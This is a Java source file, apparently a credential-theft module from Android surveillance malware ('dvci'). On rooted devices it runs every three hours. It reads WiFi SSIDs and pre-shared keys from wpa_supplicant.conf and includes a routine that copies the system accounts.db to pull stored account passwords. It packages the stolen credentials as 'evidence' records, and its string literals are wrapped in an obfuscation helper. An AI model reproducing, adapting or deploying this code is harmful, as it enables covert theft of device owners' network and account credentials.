package com.android.dvci.module; import android.database.Cursor; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.db.RecordVisitor; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.evidence.Markup; import com.android.dvci.file.Path; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.StringUtils; import com.android.dvci.util.WChar; import com.android.mm.M; import java.io.File; import java.util.HashMap; import java.util.Iterator; import java.util.List; public class ModulePassword extends BaseModule { private static final String TAG = "ModulePassword"; //$NON-NLS-1$ private static final int ELEM_DELIMITER = 0xABADC0DE; private Markup markupPassword; private HashMap<Integer, String> lastPasswords; private static HashMap<String, Integer> services = new HashMap<String, Integer>(); @Override protected boolean parse(ConfModule conf) { if (Status.self().haveRoot()) { services.put(M.e("skype"), 0x02); services.put(M.e("facebook"), 0x03); services.put(M.e("twitter"), 0x04); services.put(M.e("google"), 0x05); services.put(M.e("whatsapp"), 0x07); services.put(M.e("mail"), 0x09); services.put(M.e("linkedin"), 0x0a); services.put(M.e("wifi"), 0x0b); return true; } else { if (Cfg.DEBUG) { Check.log(TAG + " (parse), don't have root, bailing out"); } return false; } } @Override protected void actualStart() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart) "); } // every three hours, check. setPeriod(180 * 60 * 1000); setDelay(200); markupPassword = new Markup(this); lastPasswords = markupPassword.unserialize(new HashMap<Integer, String>()); } @Override protected void actualGo() { if (Cfg.DEBUG) { Check.log(TAG + " (actualGo) "); } RecordVisitor passwordVisitor = new RecordVisitor() { EvidenceBuilder evidence = new EvidenceBuilder(EvidenceType.PASSWORD); boolean needToSerialize = false; @Override public void close() { if (needToSerialize) { markupPassword.serialize(lastPasswords); } evidence.close(); } @Override public long cursor(Cursor cursor) { int jid = cursor.getInt(0); String name = cursor.getString(1); String type = cursor.getString(2); String password = cursor.getString(3); String service = getService(type); String value = name + "_" + type + "_" + password; if (Cfg.DEBUG) { Check.log(TAG + " (dumpPasswordDb): id : " + jid + " name : " + name + " type: " + type + " pw: " + password); } if (!StringUtils.isEmpty(password)) { if (lastPasswords.containsKey(jid) && lastPasswords.get(jid).equals(value)) { return jid; } else { lastPasswords.put(jid, value); needToSerialize = true; } addToEvidence(evidence, name, type, password, service); } return jid; } }; String filename_v4 = M.e("/data/misc/wifi/wpa_supplicant.conf"); String filename_v2 = M.e("/data/wifi/bcm_supp.conf"); if (!dumpWifi(filename_v4)) { dumpWifi(filename_v2); } // dumpAccounts(passwordVisitor); } private boolean dumpWifi(String filename) { if (Cfg.DEBUG) { File file = new File(filename); Check.log(TAG + " (dumpWifi) can read: " + file.canRead()); } if (!Path.unprotect(filename, 3, false)) { if (Cfg.DEBUG) { Check.log(TAG + " (dumpWifi) no passwords found"); } if (Cfg.DEBUG) { File file = new File(filename); Check.log(TAG + " (dumpWifi) can read: " + file.canRead()); } return false; } List<String> lines = StringUtils.readFileLines(filename); String ssid = ""; String psk = ""; EvidenceBuilder evidence = new EvidenceBuilder(EvidenceType.PASSWORD); try { for (String line : lines) { if (line.contains(M.e("ssid")) && !line.contains(M.e("scan_ssid"))) { ssid = getValue(line); if (Cfg.DEBUG) { Check.log(TAG + " (dumpWifi) ssid = %s", ssid); } } else if (line.contains("psk")) { psk = getValue(line); if (Cfg.DEBUG) { Check.log(TAG + " (dumpWifi) psk = %s", psk); } addToEvidence(evidence, ssid, M.e("SSID"), psk, M.e("Wifi")); } } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (dumpWifi) Error: %s", ex); } } finally { evidence.close(); } return true; } private String getValue(String line) { String[] parts = line.split("="); if (parts.length == 2) { return parts[1]; } return null; } public static void dumpAccounts(RecordVisitor visitor) { // h_0=/data/system/ // h_1=/data/system/users/0/ // h_2=accounts.db String pathUser = M.e("/data/system/users/0/"); String pathSystem = M.e("/data/system/"); String file = M.e("accounts.db"); String dbFile = ""; if (!Path.unprotect(pathUser, 3, false)) { if (Cfg.DEBUG) { Check.log(TAG + " (dumpAccounts) error: cannot open path"); } return; } GenericSqliteHelper helper = GenericSqliteHelper.openCopy(pathSystem, file); if (helper == null) { helper = GenericSqliteHelper.openCopy(pathUser, file); } if (helper == null) { if (Cfg.DEBUG) { Check.log(TAG + " (dumpPasswordDb) ERROR: cannot open db"); } return; } try { // h_4=accounts String table = M.e("accounts"); // h_5=_id // h_6=name // h_7=type // h_8=password String[] projection = {M.e("_id"), M.e("name"), M.e("type"), M.e("password ")}; visitor.projection = projection; helper.traverseRecords(table, visitor); } finally { helper.disposeDb(); } } public static void dumpAddressBookAccounts() { } private static String getService(String type) { Iterator<String> iter = services.keySet().iterator(); while (iter.hasNext()) { String key = iter.next(); if (type.contains(key)) { return key; } } return M.e("service"); } static int getServiceId(String type) { Iterator<String> iter = services.keySet().iterator(); while (iter.hasNext()) { String key = iter.next(); if (type.contains(key)) { return services.get(key); } } return 0; } @Override protected void actualStop() { } private void addToEvidence(EvidenceBuilder evidence, String name, String type, String password, String service) { evidence.write(WChar.getBytes(type, true)); evidence.write(WChar.getBytes(name, true)); evidence.write(WChar.getBytes(password, true)); evidence.write(WChar.getBytes(service, true)); evidence.write(ByteArray.intToByteArray(ELEM_DELIMITER)); } }